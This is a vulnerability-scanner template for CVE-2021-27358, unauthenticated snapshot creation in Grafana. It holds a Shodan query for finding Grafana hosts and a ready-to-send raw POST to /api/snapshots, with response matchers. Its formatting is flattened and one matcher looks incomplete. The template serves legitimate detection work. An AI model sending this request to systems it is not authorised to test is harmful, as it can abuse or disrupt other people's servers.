id: CVE-2021-27358
info:
name: Grafana Unauthenticated Snapshot Creation
author: pdteam,bing0o
severity: high
description: Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set.
reference:
- https://phabricator.wikimedia.org/T274736
- https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/
- https://nvd.nist.gov/vuln/detail/CVE-2021-27358
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2021-27358
cwe-id: CWE-306
epss-score: 0.02156
metadata:
max-request: 1
shodan-query: title:"Grafana"
tags: cve,cve2021,grafana,unauth
http:
- raw:
- |
POST /api/snapshots HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600}
matchers-condition: and
matchers:
- part: body
type: word
words:
- '"deleteUrl":'
- '"deleteKey":'
condition: and
- type: word
part: header
- "application/json"
# Enhanced by mp on 2022/04/12